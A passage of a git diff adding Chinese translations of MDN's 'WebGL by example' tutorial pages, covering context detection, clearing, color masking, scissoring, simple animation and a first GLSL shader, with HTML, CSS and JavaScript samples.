{{EmbedLiveSample("canvas-size-and-webgl-source",660,180)}}

+ +
+

canvas属性值大小对WebGL渲染的作用

+ +

使用 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 和 {{domxref("WebGLRenderingContext.clear()","clear()")}} 我们可以观察到canvas属性大小是如何影响WebGL绘图展示的。

+ +

第一个canvas元素通过css样式定义了元素的大小,之后通过javascript获取该元素的 {{domxref("Element.clientWidth","clientWidth")}} 和{{domxref("Element.clientHeight","clientHeight")}} 值,并分别赋值给元素的  {{domxref("HTMLCanvasElement.width","width")}} 和{{domxref("HTMLCanvasElement.height","height")}}。

+ +

相反的,第二个canvas元素并没有这样做,canvas内部对象的{{domxref("HTMLCanvasElement.width","width")}} 和 {{domxref("HTMLCanvasElement.height","height")}} 属性值仍然是默认值,这样导致在浏览器中实际画布大小是不同的。

+ +

使用 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 和{{domxref("WebGLRenderingContext.clear()","clear()")}}在canvas中绘制矩形的效果是清晰可见的,在第一个canvas中,通过指定位置和像素大小,可以得到我们想要的效果,但是在第二个canvas中,这个矩形的位置、大小都是错误展示的。

+
+ +
+
<p>Compare the two canvases.</p>
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : inline-block;
+  width : 120px;
+  height : 80px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
window.addEventListener("load", function() {
+  "use strict"
+  var firstCanvas = document.getElementsByTagName("canvas")[0],
+    secondCanvas = document.getElementsByTagName("canvas")[1];
+  firstCanvas.width = firstCanvas.clientWidth;
+  firstCanvas.height = firstCanvas.clientHeight;
+  [firstCanvas, secondCanvas].forEach(function(canvas) {
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    if (!gl) {
+      document.querySelector("p").innerHTML =
+        "Failed to get WebGL context. "
+        + "Your browser or device may not support WebGL.";
+      return;
+    }
+    gl.viewport(0, 0,
+      gl.drawingBufferWidth, gl.drawingBufferHeight);
+    gl.enable(gl.SCISSOR_TEST);
+    gl.scissor(30, 10, 60, 60);
+    gl.clearColor(1.0, 1.0, 0.0, 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  });
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Basic_scissoring","Learn/WebGL/By_example/Boilerplate_1")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/zh-cn/web/api/webgl_api/by_example/clearing_by_clicking/index.html new file mode 100644 index 0000000000..c484f63439 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/clearing_by_clicking/index.html @@ -0,0 +1,109 @@ +--- +title: Clearing by clicking +slug: Web/API/WebGL_API/By_example/Clearing_by_clicking +translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

+ +
+
+

此示例演示了如何通过用户单击时用随机颜色渲染上下文来将用户交互与WebGL图形操作结合起来。

+
+ +

{{EmbedLiveSample("clearing-by-clicking-source",660,425)}}

+ +
+

用随机颜色渲染上下文

+ +

这个例子提供了一个简单的例子,说明如何结合 {{Glossary("WebGL")}} 和用户交互。每次用户点击画布或按钮时,画布都会使用一种新的随机色。

+ +

注意我们如何在事件处理函数中嵌入 {{Glossary("WebGL")}} 函数调用。

+
+ +
+
<p>A very simple WebGL program that still shows some color and
+    user interaction.</p>
+<p>You can repeatedly click the empty canvas or the button below
+    to change color.</p>
+<canvas id="canvas-view">Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="color-switcher">Press here to switch color</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // Cleaning after ourselves. The event handler removes
+  // itself, because it only needs to run once.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // 给 canvas 和 button 添加相同的时间处理器
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // 存放 WebGLRenderingContext 的变量
+  var gl;
+
+  // 点击事件处理器
+  function switchColor () {
+    // Referring to the externally defined gl variable.
+    // If undefined, try to obtain the WebGLRenderingContext.
+    // If failed, alert user of failure.
+    // Otherwise, initialize the drawing buffer (the viewport).
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+    // 使用辅助函数获取一种随机色
+    var color = getRandomColor();
+    // 用随机色设置底色
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color. This is
+    // the function call that actually does the drawing.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // 随机颜色辅助函数
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+
+ +

这个例子的代码可以在  GitHub 上下载。

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/clearing_with_colors/index.html b/files/zh-cn/web/api/webgl_api/by_example/clearing_with_colors/index.html new file mode 100644 index 0000000000..3872526cb8 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/clearing_with_colors/index.html @@ -0,0 +1,99 @@ +--- +title: 清除画布 +slug: Web/API/WebGL_API/By_example/Clearing_with_colors +translation_of: Web/API/WebGL_API/By_example/Clearing_with_colors +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Detect_WebGL","Learn/WebGL/By_example/Clearing_by_clicking")}}

+ +
+
+

这个例子将展示如何用一个单色清除画布

+
+ +

{{EmbedLiveSample("clearing-with-colors-source",660,425)}}

+ +
+

清除画布(使用单一颜色清除WebGl区域)

+ +

这是一个最简单的WebGL代码。通过{{domxref("WebGLRenderingContext","rendering context", "", 1)}}设置好状态后,直接将整个区域清除为绿色。要注意css 已经将canvas画布设置为黑色了,所以当画布变为绿色时,我们就知道神奇的WebGL魔法起作用了!

+ +

此外,你需要注意用单色绘制图像是两个步骤:首先,通过使用{{domxref("WebGLRenderingContext.clearColor()","clearColor()")}}设置清除色为绿色。这只会改变Webgl 内部的一个状态,但并不会绘制任何东西。接下来,我们就真的开始绘制了,使用{{domxref("WebGLRenderingContext.clear()","clear()")}}方法,这是一个典型的用webgl绘制的方法,webgl 实际上只有少数的几个绘制方法(clear() 就是其中之一)。其他方法大多都是类似设置或改变WebGl状态和变量的(例如设置clearcolor)。

+ +

这里有许多属性和方法作用于Webgl,清除方法只是你第一个掌握的,这也就是为什么WebGL/OpenGl经常被叫做状态机,通过调整这些属性和方法可以修改WebGL内部的状态,从而进行输出(例如先设置好绿色,在清除画布的时候像素点都变成了绿色)

+ +

最后,我们知道在WebGl中颜色格式是由RGBA(红,绿,蓝,透明度)组成的,因此clearColor()方法接受四个参数

+ +

 

+
+ +
+
<p>A very simple WebGL program that shows some color.</p>
+<!-- Text within a canvas element is displayed
+    only if canvas is not supported. -->
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it,
+// and to not mess up the global scope. We are giving the event
+// handler a name (setupWebGL) so that we can refer to the
+// function object within the function itself.
+window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // Cleaning after ourselves. The event handler removes
+  // itself, because it only needs to run once.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // References to the document elements.
+  var paragraph = document.querySelector("p"),
+    canvas = document.querySelector("canvas");
+
+  // Getting the WebGL rendering context.
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+
+  // If failed, inform user of failure. Otherwise, initialize
+  // the drawing buffer (the viewport) and clear the context
+  // with a solid color.
+  if (!gl) {
+    paragraph.innerHTML = "Failed to get WebGL context. "
+      + "Your browser or device may not support WebGL.";
+    return;
+  }
+  paragraph.innerHTML =
+    "Congratulations! Your browser supports WebGL. ";
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  // Set the clear color to darkish green.
+  gl.clearColor(0.0, 0.5, 0.0, 1.0);
+  // Clear the context with the newly set color. This is
+  // the function call that actually does the drawing.
+  gl.clear(gl.COLOR_BUFFER_BIT);
+
+}, false);
+
+
+ +

这个例子的代码可以在 GitHub 上下载。

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Detect_WebGL","Learn/WebGL/By_example/Clearing_by_clicking")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/color_masking/index.html b/files/zh-cn/web/api/webgl_api/by_example/color_masking/index.html new file mode 100644 index 0000000000..7fac11d398 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/color_masking/index.html @@ -0,0 +1,128 @@ +--- +title: Color masking +slug: Web/API/WebGL_API/By_example/Color_masking +translation_of: Web/API/WebGL_API/By_example/Color_masking +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Simple_color_animation","Learn/WebGL/By_example/Basic_scissoring")}}

+ +
+
+

这个 WebGL 示例 通过随机的颜色(random colors)应用到colorMask,从而将显示的颜色范围限制在特定的颜色通道(red/green/blue);

+
+ +

{{EmbedLiveSample("color-masking-source",660,425)}}

+ +
+

Masking random colors

+ +

This example modifies the random color animation by applying color masking with {{domxref("WebGLRenderingContext.colorMask()","colorMask()")}}. You can think of the color masking operation as if looking at the colored canvas through some tinted glass or color filter. So, by masking off the blue and green channels, you are only allowing the red component of pixels to be updated, and therefore it is as if you were looking through a red tinted glass.

+ +

Color masking allows us to demonstrate some basics of color theory. By masking off some channel(s), we are in fact biasing the displayed colors towards the complementary color. So, clearly masking both blue and red, would give us shades of green. Masking only the blue channel would give us shades of yellow (including shades of orange, brown, olive and yellow-green), the complementary of blue. Similarly, masking only green would give us shades of magenta (also purples, crimsons, and so on), and masking only red would give shades of cyan (also sea greens, blues, and so on).

+ +

Note that the calls to colorMask() only occur when the user clicks on one of the toggle buttons. But rendering is done every second, using the timer. The color mask state of {{Glossary("WebGL")}} is preserved, so we do not need to call colorMask() every frame to set up the color mask. This is an important aspect of the WebGL state machine. It allows us to setup WebGL in a single initialization phase, and then just execute drawing commands for each frame.

+ +

Color masking gives you fine control of updating pixel values on the screen. By limiting the color channels that are written by each drawing command, you can use each channel, for example, to store a different grayscale image. Alternatively, you may use the {{Glossary("RGB")}} components for color, but the alpha component for some custom pixel data of your invention.

+ +

Finally, color masking teaches us that {{Glossary("WebGL")}} is not only a state machine, it is also a graphics pipeline. This means that graphics operations in WebGL are done in a certain order, where the output of each operation serves as the input of the next. So, for example, clearing operation sets the value of each pixel to the chosen clear color. Masking occurs later in the pipeline, and modifies the pixel color value, so the final result on the screen is that of the clear color, tinted by the color mask.

+
+ +
+
<p>Tinting the displayed colors with color masking.</p>
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+<button id="red-toggle">On</button>
+<button id="green-toggle">On</button>
+<button id="blue-toggle">On</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-family : serif;
+  font-size : inherit;
+  font-weight : 900;
+  color : white;
+  margin : auto;
+  padding : 0.6em 1.2em;
+}
+#red-toggle {
+  background-color : red;
+}
+#green-toggle {
+  background-color : green;
+}
+#blue-toggle {
+  background-color : blue;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  var canvas = document.querySelector("canvas");
+  var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    document.querySelector("p").innerHTML =
+      "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  var timer = setInterval(drawAnimation, 1000);
+
+  var mask = [true, true, true];
+  var redtoggle = document.querySelector("#red-toggle"),
+    greentoggle = document.querySelector("#green-toggle"),
+    bluetoggle = document.querySelector("#blue-toggle");
+  redtoggle.addEventListener("click", setColorMask, false);
+  greentoggle.addEventListener("click", setColorMask, false);
+  bluetoggle.addEventListener("click", setColorMask, false);
+
+  function setColorMask(evt) {
+    var index =
+      evt.target === greentoggle && 1
+      || evt.target === bluetoggle && 2
+      || 0;
+    mask[index] = !mask[index];
+    if (mask[index] === true)
+      evt.target.innerHTML="On";
+    else
+      evt.target.innerHTML="Off";
+    gl.colorMask(mask[0], mask[1], mask[2], true);
+    drawAnimation();
+  };
+
+  function drawAnimation () {
+    var color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Simple_color_animation","Learn/WebGL/By_example/Basic_scissoring")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/detect_webgl/index.html b/files/zh-cn/web/api/webgl_api/by_example/detect_webgl/index.html new file mode 100644 index 0000000000..0836880bbf --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/detect_webgl/index.html @@ -0,0 +1,73 @@ +--- +title: 检测WebGL +slug: Web/API/WebGL_API/By_example/Detect_WebGL +translation_of: Web/API/WebGL_API/By_example/Detect_WebGL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

+ +
+
+

这个例子演示了如何通过渲染上下文来检测{{Glossary("WebGL")}},并将结果报告给用户。

+
+ +

{{EmbedLiveSample("detect-webgl-source",660,150)}}

+ +
+

WebGL特性检测

+ +

在第一个例子中,我们将检查浏览器是否支持{{Glossary("WebGL")}}。为此,我们将尝试从{{domxref("HTMLCanvasElement","canvas")}}元素获取{{domxref("WebGLRenderingContext","WebGL渲染的上下文","",1)}} 。{{domxref("WebGLRenderingContext","WebGL渲染的上下文", "", 1)}}是一个接口,通过它你可以设置和查询绘图器的状态,发送数据到WebGL,执行绘制命令。

+ +

在单个上下文接口中保存绘图器的状态并不是{{Glossary("WebGL")}}独有的。这在其他绘图技术里也是存在的{{Glossary("API")}},比如{{domxref("CanvasRenderingContext2D","2D渲染上下文的canvas", "", 1)}}。然而,您可以调整的属性和变量对于每个{{Glossary("API")}}来说都是不同的。

+
+ +
+
<p>[ Here would go the result of WebGL feature detection ]</p>
+<button>Press here to detect WebGLRenderingContext</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+  // Adding click event handler to button.
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+    // Create canvas element. The canvas is not added to the
+    // document itself, so it is never displayed in the
+    // browser window.
+    var canvas = document.createElement("canvas");
+    // Get WebGLRenderingContext from canvas element.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    // Report the result.
+    if (gl && gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Congratulations! Your browser supports WebGL.";
+    } else {
+      paragraph.innerHTML = "Failed to get WebGL context. "
+        + "Your browser or device may not support WebGL.";
+    }
+  }
+}, false);
+
+
+ +

这个例子的源代码可以在GitHub上获取。

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/hello_glsl/index.html b/files/zh-cn/web/api/webgl_api/by_example/hello_glsl/index.html new file mode 100644 index 0000000000..cb1034bcdb --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/hello_glsl/index.html @@ -0,0 +1,168 @@ +--- +title: Hello GLSL +slug: Web/API/WebGL_API/By_example/Hello_GLSL +translation_of: Web/API/WebGL_API/By_example/Hello_GLSL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

+ +
+
+

该例子将演示一个绘制固态颜色的矩形的简单着色器程序。

+
+ +
+

注意:本例子能在大多数现代桌面版浏览器上运行。但或许不能在移动端或者古老的浏览器上运行。如果canvas显示一片空白,你可以试着用下一个例子检查一下输出是否绘制的是同样的图形。 但要记住在前往下一个例子之前,要仔细阅读本页并动手写代码。

+
+ +

{{EmbedLiveSample("hello-glsl-source",660,425)}}

+ +
+

用GLSL语言写Hello World 程序

+ +

第一个非常简单的着色器程序。

+
+ +
+ + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

该例子的源代码能在 GitHub获得。

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/index.html b/files/zh-cn/web/api/webgl_api/by_example/index.html new file mode 100644 index 0000000000..3ff18aed61 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/index.html @@ -0,0 +1,75 @@ +--- +title: WebGL 的例子 +slug: Web/API/WebGL_API/By_example +translation_of: Web/API/WebGL_API/By_example +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

+ +
+
+

WebGL 例子是一系列附有简短的解释的样本用来展示WebGL的概念和功能。这些示例根据主题和难度级别进行排序,涵盖WebGL渲染上下文,着色器编程,纹理,几何图形,用户交互等。

+
+ +
+

主题例子

+ +

这些范例是有浅到深的,它们除了是一个个可以让你实现的例子外,还和主题高度重合,当我们需要在中级和高级阶段实现这个例子时有时我们会重复此例子的基础内容。

+ +

在第一个程序中,并没有尝试着色着色器,几何图形和使用{{Glossary("GPU")}} 内存,这里的示例以渐进的方式探索WebGL。我们相信它会带来更有效的学习体验,并最终更深入地理解底层概念。

+ +

有关这些例子的解释可以在代码的正文和注释中找到。您应该阅读所有注释,因为更高级的示例不会重复注释以前的代码。

+ +
+

开始了解渲染上下文

+ +
+
检测 WebGL
+
这个例子演示如何检测 {{Glossary("WebGL")}} 渲染上下文并且反馈给用户。
+
Clearing with colors
+
How to clear the rendering context with a solid color.
+
Clearing by clicking
+
How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks.
+
Simple color animation
+
A very basic color animation, done by clearing the {{Glossary("WebGL")}} drawing buffer with a different random color every second.
+
Color masking
+
Modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades.
+
Basic scissoring
+
How to draw simple rectangles and squares with scissoring operations.
+
Canvas size and WebGL
+
The example explores the effect of setting (or not setting) the canvas size to its element size in {{Glossary("CSS")}} pixels, as it appears in the browser window.
+
Boilerplate 1
+
The example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make WebGL initialization easier.
+
Scissor animation
+
Some animation fun with scissoring and clearing operations.
+
Raining rectangles
+
A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.
+
+
+ +
+

Shader programming basics

+ +
+
Hello GLSL
+
A very basic shader program that draws a solid color square.
+
Hello vertex attributes
+
Combining shader programming and user interaction through vertex attributes.
+
Textures from code
+
A simple demonstration of procedural texturing with fragment shaders.
+
+
+ +
+

Miscellaneous advanced examples

+ +
+
Video textures
+
This example demonstrates how to use video files as textures.
+
+
+
+
+ +

{{Next("Learn/WebGL/By_example/Detect_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/scissor_animation/index.html b/files/zh-cn/web/api/webgl_api/by_example/scissor_animation/index.html new file mode 100644 index 0000000000..1acfafd28a --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/scissor_animation/index.html @@ -0,0 +1,166 @@ +--- +title: Scissor animation +slug: Web/API/WebGL_API/By_example/Scissor_animation +translation_of: Web/API/WebGL_API/By_example/Scissor_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

+ +
+
+

使用剪切和清除操作实现一些动画的简单WebGL的例子。

+
+ +

{{EmbedLiveSample("scissor-animation-source",660,425)}}

+ +
+

剪切动画

+ +

本例中,我们使用{{domxref("WebGLRenderingContext.scissor()","scissor()")}} 和 {{domxref("WebGLRenderingContext.clear()","clear()")}}。我们再次建立一个动画循环使用计时器。注意,这次是方块的位置(剪切区)更新每一帧(我们设置帧率大约每17毫秒,约60 fps -帧每秒)

+ +

相比之下,方块的颜色(用{{domxref("WebGLRenderingContext.clearColor()","clearColor")}})仅创建一个新的方块。这是一个很好的演示{{Glossary("WebGL")}}是一个状态机。对于每一个方块,我们设置它的颜色,然后只更新它的位置每一帧。WebGL的清晰的颜色状态维持在设定值,直到我们再次改变它创建一个新的方块。

+
+ +
+ + + + +
"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Variables to hold the WebGL context, and the color and
+// position of animated squares.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+  // Unlike the browser window, vertical position in WebGL is
+  // measured from bottom to top. In here we set the initial
+  // position of the square to be at the top left corner of the
+  // drawing buffer.
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "stop";
+    timer = setInterval(drawAnimation, 17);
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "start";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Variables to hold the size and velocity of the square.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // Every frame the vertical position of the square is
+  // decreased, to create the illusion of movement.
+  position[1] -= velocity;
+  // When the sqaure hits the bottom of the drawing buffer,
+  // we override it with new square of different color and
+  // velocity.
+  if (position[1] < 0) {
+    // Horizontal position chosen randomly, and vertical
+    // position at the top of the drawing buffer.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Random velocity between 1.0 and 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+
+ + + + + +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/zh-cn/web/api/webgl_api/by_example/simple_color_animation/index.html new file mode 100644 index 0000000000..e4dbc5eb09 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/simple_color_animation/index.html @@ -0,0 +1,120 @@ +--- +title: Simple color animation +slug: Web/API/WebGL_API/By_example/Simple_color_animation +translation_of: Web/API/WebGL_API/By_example/Simple_color_animation +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

+ +
+
+

这是一个非常基础的{{Glossary("WebGL")}}色彩动画案例, 通过定时器来逐秒填充不同的颜色来实现.

+
+ +

{{EmbedLiveSample("simple-color-animation-source",660,425)}}

+ +
+

通过填充实现色彩动画

+ +

本案例使用{{Glossary("WebGL")}}来实现简单的色彩动画和用户交互效果, 用户可以通过按按钮来开始/暂停/重新开始动画.

+ +

我们把 {{Glossary("WebGL")}}函数放在一个定时循环器里(setInterval)  .通过监听点击事件来让用户开始/暂停动画.并通过定时器来循环执行绘制指令(通常是逐帧动画,这次我们设置为逐秒动画) 

+
+ +
+
<p>一个色彩动画的简单WebGl程序</p>
+<p>点击下面的按钮来开/关动画</p>
+<canvas id="canvas-view">你的浏览器不支持Html5 canvas</canvas>
+<button id="animation-onoff">
+  点我来
+<strong>[verb goes here]</strong>
+  动画
+</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // 定义一个变量来保存定时器,以播放动画
+  var timer;
+
+  // 点击事件处理器
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="暂停";
+    //设置一个循环来逐秒渲染动画
+    timer = setInterval(drawAnimation, 1000);
+    // 在用户点击完以后立即执行一次动画
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="开始";
+    // 通过清除定时器来停止动画
+    clearInterval(timer);
+  }
+  // 调用stopAnimation() 来初始化按钮的事件处理器
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+        clearInterval(timer);
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // 使用辅助函数 得到随机颜色
+    var color = getRandomColor();
+    // 将随机颜色设置到WebGL渲染上下文的填充颜色上去
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // 使用新设置的颜色来清除上下文
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  //获取随机颜色的辅助函数
